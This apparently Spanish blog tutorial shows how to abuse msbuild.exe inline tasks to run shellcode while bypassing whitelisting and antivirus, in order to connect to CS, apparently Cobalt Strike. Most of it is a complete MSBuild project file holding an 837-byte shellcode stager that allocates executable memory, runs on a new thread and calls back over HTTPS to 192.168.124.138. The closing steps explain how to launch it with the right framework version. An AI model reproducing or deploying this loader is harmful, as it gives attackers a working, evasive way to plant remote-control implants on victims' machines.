Use el comando msbuild para ejecutar el archivo para conectarse CS

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principio

Use MSBuild To Do More
se puede entender simplemente como el comando msbuild en Windows puede ejecutar archivos con un formato específico. NET Framework 4.0 es compatible con una nueva función, "Tareas en línea", que se incluye en el elemento UsingTask, que se puede utilizar para ejecutar código c # en archivos xml.

utilizar

Porque este método no limita la extensión del archivo, siempre que el formato del contenido cumpla con los requisitos. Por lo tanto, casi todos los códigos de shell se pueden ejecutar omitiendo la detección de la lista blanca, que puede lograr el efecto anti-kill hasta cierto punto.

Referencia de archivo

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
              byte[] shellcode  = new byte[837] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0xa4, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0xbb, 0x01, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0x50, 0xe9, 0x8c, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x32, 0xc0, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x68, 0x80, 0x33, 0x00, 0x00, 0x89, 0xe0, 0x6a, 0x04, 0x50, 0x6a, 0x1f, 0x56, 0x68, 0x75, 0x46, 0x9e, 0x86, 0xff, 0xd5, 0x5f, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xca, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x75, 0x07, 0x58, 0x50, 0xe9, 0x7b, 0xff, 0xff, 0xff, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x6f, 0xff, 0xff, 0xff, 0x2f, 0x53, 0x6b, 0x39, 0x65, 0x00, 0x93, 0xf0, 0x7f, 0xc6, 0x49, 0xc8, 0xa6, 0x78, 0xe7, 0x72, 0x7f, 0x95, 0xd6, 0x5a, 0xaf, 0x0a, 0xe6, 0xbe, 0xa9, 0x32, 0x7a, 0x6a, 0xb8, 0x37, 0x02, 0xc8, 0xa2, 0xea, 0xc6, 0x54, 0x47, 0x96, 0xbe, 0xe5, 0xb4, 0x07, 0x4d, 0x93, 0x72, 0x87, 0x10, 0x86, 0xe1, 0xea, 0x46, 0x62, 0x2d, 0x07, 0xe1, 0x84, 0xec, 0xe2, 0x4b, 0xf9, 0x0e, 0x08, 0x1a, 0xcb, 0x4b, 0x88, 0x42, 0x7d, 0x58, 0x19, 0xb9, 0x43, 0xee, 0x0c, 0x49, 0x5d, 0xf5, 0x4b, 0x5c, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x57, 0x4f, 0x57, 0x36, 0x34, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x3b, 0x20, 0x41, 0x76, 0x61, 0x6e, 0x74, 0x20, 0x42, 0x72, 0x6f, 0x77, 0x73, 0x65, 0x72, 0x29, 0x0d, 0x0a, 0x00, 0xf4, 0xd2, 0xd8, 0x55, 0xc7, 0x33, 0x93, 0x3c, 0xda, 0x85, 0x1b, 0x7c, 0x41, 0xbf, 0xf5, 0x7c, 0xe5, 0x66, 0xf2, 0x6e, 0x00, 0x71, 0xfe, 0x58, 0x6a, 0xd1, 0x03, 0x3a, 0xb4, 0x88, 0xee, 0xf8, 0xb8, 0xb7, 0x57, 0xf4, 0x33, 0xba, 0x96, 0xfd, 0x90, 0xdd, 0x0f, 0x7f, 0xcf, 0x30, 0x6e, 0x67, 0xe6, 0x31, 0x27, 0x8c, 0xf0, 0xe0, 0x3c, 0xe6, 0xf8, 0x53, 0xad, 0x6d, 0xcf, 0x7d, 0x2a, 0x5d, 0x86, 0x61, 0x4e, 0xe3, 0xae, 0x9e, 0xaf, 0x41, 0xbd, 0x01, 0x32, 0xdd, 0x9e, 0x71, 0x4d, 0xfe, 0x57, 0xfc, 0x0a, 0x40, 0x73, 0x46, 0x4b, 0xb5, 0x02, 0x0f, 0x39, 0xe4, 0xdb, 0x81, 0x09, 0xb4, 0x6a, 0xd7, 0x96, 0x0c, 0x03, 0x4b, 0x0b, 0xe8, 0x5e, 0xd4, 0xa8, 0x31, 0x44, 0x82, 0xaf, 0xf5, 0x8f, 0x24, 0xb6, 0x05, 0x77, 0x4c, 0xb4, 0x05, 0x8b, 0x97, 0x37, 0x93, 0x43, 0x53, 0xea, 0xea, 0x11, 0xcf, 0xda, 0x43, 0xdc, 0x34, 0x1c, 0xa0, 0x2c, 0x27, 0x0b, 0x60, 0xfa, 0x15, 0x63, 0xa8, 0x1f, 0x8f, 0xd2, 0x71, 0xef, 0x55, 0x04, 0xd3, 0x60, 0x00, 0xbf, 0x1f, 0xd8, 0xb7, 0xb5, 0x86, 0x31, 0x32, 0x98, 0x2f, 0xdc, 0x5a, 0xdf, 0x08, 0x48, 0x85, 0x9e, 0x80, 0x39, 0x74, 0x30, 0x09, 0x81, 0x07, 0x57, 0x39, 0x6b, 0x9c, 0xbe, 0x15, 0xdf, 0x4b, 0x0b, 0xe3, 0xf3, 0xb0, 0x05, 0xab, 0xbd, 0xc1, 0xfe, 0x02, 0x97, 0x14, 0xd4, 0xfd, 0x8e, 0xc8, 0xb9, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0x89, 0xfd, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32, 0x34, 0x2e, 0x31, 0x33, 0x38, 0x00, 0x12, 0x34, 0x56, 0x78 };

              
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
              MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

otro

El comando msbuild debe estar en la carpeta especificada y la versión debe ser 4.0.

La diferencia entre las dos carpetas en la siguiente figura es que si su código de shell es de 64 bits, elija Framework64 y viceversa.
Inserte la descripción de la imagen aquí
Seleccione la versión 4.0 para ingresar a la carpeta.
Inserte la descripción de la imagen aquí
Puede ejecutar el comando msbuild en esta carpeta.
El formato del comando esmsbuild file_path

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